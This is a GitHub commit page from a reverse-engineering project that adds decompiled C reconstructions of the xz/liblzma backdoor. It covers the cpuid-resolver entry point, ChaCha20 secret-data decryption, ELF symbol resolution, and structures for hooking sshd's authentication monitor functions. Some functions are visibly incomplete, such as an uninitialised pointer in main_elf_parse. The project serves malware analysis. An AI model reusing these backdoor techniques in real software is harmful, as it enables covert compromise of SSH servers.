Skip to content

Commit

Permalink
initial commit of some decompiled functions
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed May 1, 2024
1 parent 9806720 commit 3755aac
Show file tree
Hide file tree
Showing 18 changed files with 379 additions and 21 deletions.
5 changes: 4 additions & 1 deletion CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ find_program(SED_COMMAND NAMES sed REQUIRED)
message(STATUS "Using ${LZMA_LIBRARY}")

set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
add_compile_options(-Wno-deprecated-declarations)
add_compile_options(-Wno-deprecated-declarations -Wno-address-of-packed-member)

add_executable(xzre)
add_library(lzma SHARED)
Expand Down Expand Up @@ -51,6 +51,9 @@ set(SOURCES
util.c
)

add_subdirectory(xzre_code)
target_include_directories(xzre_code PRIVATE ${CMAKE_SOURCE_DIR})

add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/xzre.lds
COMMAND ${CMAKE_C_COMPILER} -x c -E -P ${CMAKE_SOURCE_DIR}/xzre.lds.in > ${CMAKE_BINARY_DIR}/xzre.lds
Expand Down
2 changes: 1 addition & 1 deletion xzre.c
Original file line number Diff line number Diff line change
Expand Up @@ -175,7 +175,7 @@ void xzre_backdoor_setup(){
/** setup fake entry frame to point to reference the fake got */
elf_entry_ctx_t my_entry_ctx = {
.frame_address = ldso_elf,
.got_ptr = &fake_got
.got_ctx.got_ptr = &fake_got
};

/** patch the GOT recompute function to be a no-op */
Expand Down
59 changes: 40 additions & 19 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -275,6 +275,11 @@ typedef struct {

} lzma_check_state;

#define CHACHA20_KEY_SIZE 32
#define CHACHA20_IV_SIZE 16
#define SHA256_DIGEST_SIZE 32
#define ED448_KEY_SIZE 57

// opcode is always +0x80 for the sake of it (yet another obfuscation)
#define XZDASM_OPC(op) (op - 0x80)

Expand Down Expand Up @@ -522,6 +527,13 @@ typedef enum {
struct sshbuf;
struct kex;

/* permit_root_login */
#define PERMIT_NOT_SET -1
#define PERMIT_NO 0
#define PERMIT_FORCED_ONLY 1
#define PERMIT_NO_PASSWD 2
#define PERMIT_YES 3

/**
* @brief struct monitor from openssh-portable
*/
Expand Down Expand Up @@ -581,12 +593,7 @@ struct sshkey {
size_t shield_prekey_len;
};

typedef struct __attribute__((packed)) elf_entry_ctx {
/**
* @brief points to a symbol in memory
* will be used to find the GOT value
*/
void *symbol_ptr;
typedef struct __attribute__((packed)) got_ctx {
/**
* @brief points to the Global Offset Table
*/
Expand All @@ -607,17 +614,29 @@ typedef struct __attribute__((packed)) elf_entry_ctx {
* used to derive the @ref got_ptr
*/
ptrdiff_t got_offset;
} got_ctx_t;

assert_offset(got_ctx_t, got_ptr, 0);
assert_offset(got_ctx_t, return_address, 0x8);
assert_offset(got_ctx_t, cpuid_fn, 0x10);
assert_offset(got_ctx_t, got_offset, 0x18);
static_assert(sizeof(got_ctx_t) == 0x20);

typedef struct __attribute__((packed)) elf_entry_ctx {
/**
* @brief points to a symbol in memory
* will be used to find the GOT value
*/
void *symbol_ptr;
got_ctx_t got_ctx;
/**
* @brief stores the value of __builtin_frame_address(0)-16
*/
u64 *frame_address;
} elf_entry_ctx_t;

assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
assert_offset(elf_entry_ctx_t, got_ptr, 8);
assert_offset(elf_entry_ctx_t, return_address, 0x10);
assert_offset(elf_entry_ctx_t, cpuid_fn, 0x18);
assert_offset(elf_entry_ctx_t, got_offset, 0x20);
assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
assert_offset(elf_entry_ctx_t, frame_address, 0x28);

typedef struct __attribute__((packed)) dasm_ctx {
Expand Down Expand Up @@ -1008,19 +1027,21 @@ static_assert(sizeof(imported_funcs_t) == 0x128);
struct ssh;
struct sshbuf;

typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);

typedef struct __attribute__((packed)) sshd_ctx {
BOOL have_mm_answer_keyallowed;
BOOL have_mm_answer_authpassword;
BOOL have_mm_answer_keyverify;
PADDING(0x4);
int (*monitor_req_fn)(struct ssh *ssh, int sock, struct sshbuf *m);
sshd_monitor_func_t mm_answer_authpassword_hook;
PADDING(0x8);
// Used to initialize *mm_answer_keyverify_ptr
void *mm_answer_keyverify;
void *mm_answer_authpassword_start;
void *mm_answer_authpassword_end;
void *mm_answer_authpassword_ptr;
u32 monitor_reqtype;
sshd_monitor_func_t *mm_answer_authpassword_ptr;
int monitor_reqtype_authpassword;
PADDING(4);
void *mm_answer_keyallowed_start;
void *mm_answer_keyallowed_end;
Expand Down Expand Up @@ -1049,12 +1070,12 @@ typedef struct __attribute__((packed)) sshd_ctx {
assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
assert_offset(sshd_ctx_t, monitor_req_fn, 0x10);
assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
assert_offset(sshd_ctx_t, monitor_reqtype, 0x40);
assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
Expand Down Expand Up @@ -1188,7 +1209,7 @@ typedef struct __attribute__((packed)) global_context {
/**
* @brief the secret data used for the chacha key generation
*/
u8 secret_data[57];
u8 secret_data[ED448_KEY_SIZE];
/**
* @brief the shift operation states
*
Expand Down Expand Up @@ -1235,7 +1256,7 @@ assert_offset(global_context_t, num_shifted_bits, 0x160);
static_assert(sizeof(global_context_t) == 0x168);

typedef struct __attribute__((packed)) backdoor_shared_globals {
int (*mm_answer_authpassword_hook)(struct ssh *ssh, int sock, struct sshbuf *m);
sshd_monitor_func_t mm_answer_authpassword_hook;
/**
* copied to ldso_ctx_t::hook_EVP_PKEY_set1_RSA in backdoor_setup
*/
Expand Down Expand Up @@ -1438,8 +1459,8 @@ typedef struct __attribute__((packed)) backdoor_hooks_ctx {
log_handler_fn mm_log_handler;
PADDING(sizeof(void *));
PADDING(sizeof(void *));
int (*mm_answer_keyallowed)(struct ssh *ssh, int sock, struct sshbuf *m);
int (*mm_answer_keyverify)(struct ssh *ssh, int sock, struct sshbuf *m);
sshd_monitor_func_t mm_answer_keyallowed;
sshd_monitor_func_t mm_answer_keyverify;
PADDING(sizeof(void *));
} backdoor_hooks_ctx_t;

Expand Down
16 changes: 16 additions & 0 deletions xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
add_library(xzre_code
backdoor_entry.c
chacha_decrypt.c
elf_symbol_get_addr.c
get_lzma_allocator.c
is_endbr64_instruction.c
fake_lzma_alloc.c
fake_lzma_free.c
main_elf_parse.c
secret_data_append_from_address.c
secret_data_append_item.c
secret_data_append_singleton.c
secret_data_get_decrypted.c
sha256.c
sshd_patch_variables.c
)
18 changes: 18 additions & 0 deletions xzre_code/backdoor_entry.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame){
u32 a = 0, b = 0, c = 0, d = 0;
elf_entry_ctx_t state;

if(resolver_call_count == 1){
state.symbol_ptr = (void *)1;
memset(&state.got_ctx, 0x00, sizeof(state.got_ctx));
state.frame_address = caller_frame;
backdoor_init(&state, caller_frame);
}
++resolver_call_count;
_cpuid_gcc(cpuid_request, &a, &b, &c, &d);
}
39 changes: 39 additions & 0 deletions xzre_code/chacha_decrypt.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <openssl/evp.h>

BOOL chacha_decrypt(
u8 *in, int inl,
u8 *key, u8 *iv,
u8 *out, imported_funcs_t *funcs
){
int outl = 0;
if(!in || inl <= 0 || !iv || !out || !funcs) {
return FALSE;
}
if(contains_null_pointers((void **)&funcs->EVP_CIPHER_CTX_new, 6)){
return FALSE;
}
EVP_CIPHER_CTX *ctx = funcs->EVP_CIPHER_CTX_new();
if(!ctx){
return FALSE;
}
const EVP_CIPHER *cipher = EVP_chacha20();
if(funcs->EVP_DecryptInit_ex(ctx, cipher, NULL, key, iv) == TRUE
&& funcs->EVP_DecryptUpdate(ctx, out, &outl, in, inl) == TRUE
&& outl >= 0
){
if(funcs->EVP_DecryptFinal_ex(ctx, &out[outl], &outl) == TRUE
&& outl >= 0 && inl >= outl
){
funcs->EVP_CIPHER_CTX_free(ctx);
return TRUE;
}
}
if(funcs->EVP_CIPHER_CTX_free){
funcs->EVP_CIPHER_CTX_free(ctx);
}
return FALSE;
}
18 changes: 18 additions & 0 deletions xzre_code/elf_symbol_get_addr.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <elf.h>

void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id){
Elf64_Sym *sym = elf_symbol_get(elf_info, encoded_string_id, 0);
if(!sym){
return NULL;
}

if(sym->st_value && sym->st_shndx){
return (void *)PTRADD(elf_info->elfbase, sym->st_value);
} else {
return NULL;
}
}
10 changes: 10 additions & 0 deletions xzre_code/fake_lzma_alloc.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size){
elf_info_t *elf_info = (elf_info_t *)opaque;
EncodedStringId string_id = (EncodedStringId)size;
return elf_symbol_get_addr(elf_info, string_id);
}
6 changes: 6 additions & 0 deletions xzre_code/fake_lzma_free.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

void fake_lzma_free(void *opaque, void *ptr){}
8 changes: 8 additions & 0 deletions xzre_code/get_lzma_allocator.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

lzma_allocator *get_lzma_allocator(void){
return &get_lzma_allocator_address()->allocator;
}
11 changes: 11 additions & 0 deletions xzre_code/is_endbr64_instruction.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part){
if((code_end - code_start) > 3){
return *code_start + (low_mask_part | 0x5E20000) == 0xF223;
}
return FALSE;
}
29 changes: 29 additions & 0 deletions xzre_code/main_elf_parse.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <elf.h>

BOOL main_elf_parse(main_elf_t *main_elf){
if(!elf_parse(
main_elf->dynamic_linker_ehdr,
main_elf->elf_handles->dynamic_linker
)){
return FALSE;
}
Elf64_Sym *libc_stack_end_sym;
if(!(libc_stack_end_sym = elf_symbol_get(
main_elf->elf_handles->dynamic_linker,
STR_libc_stack_end,
STR_GLIBC_2_2_5
))){
return FALSE;
}
elf_info_t *dynamic_linker;
void **libc_stack_end_ptr = (void *)PTRADD(dynamic_linker->elfbase, libc_stack_end_sym->st_value);
if(!process_is_sshd(dynamic_linker, *libc_stack_end_ptr)){
return FALSE;
}
*main_elf->__libc_stack_end = *libc_stack_end_ptr;
return TRUE;
}
20 changes: 20 additions & 0 deletions xzre_code/secret_data_append_from_address.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

BOOL secret_data_append_from_address(
void *addr,
secret_data_shift_cursor_t shift_cursor,
unsigned shift_count, unsigned operation_index
){
u8 *code = (u8 *)addr;
if((uintptr_t)addr <= 1){
code = (u8 *)__builtin_return_address(0);
}
return secret_data_append_singleton(
addr, code,
shift_cursor, shift_count,
operation_index
);
}
17 changes: 17 additions & 0 deletions xzre_code/secret_data_append_item.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"

BOOL secret_data_append_item(
secret_data_shift_cursor_t shift_cursor,
unsigned operation_index,
unsigned shift_count,
int index, u8 *code
){
return index && secret_data_append_singleton(
code, code,
shift_cursor, shift_count,
operation_index
);
}
Loading

0 comments on commit 3755aac

Please sign in to comment.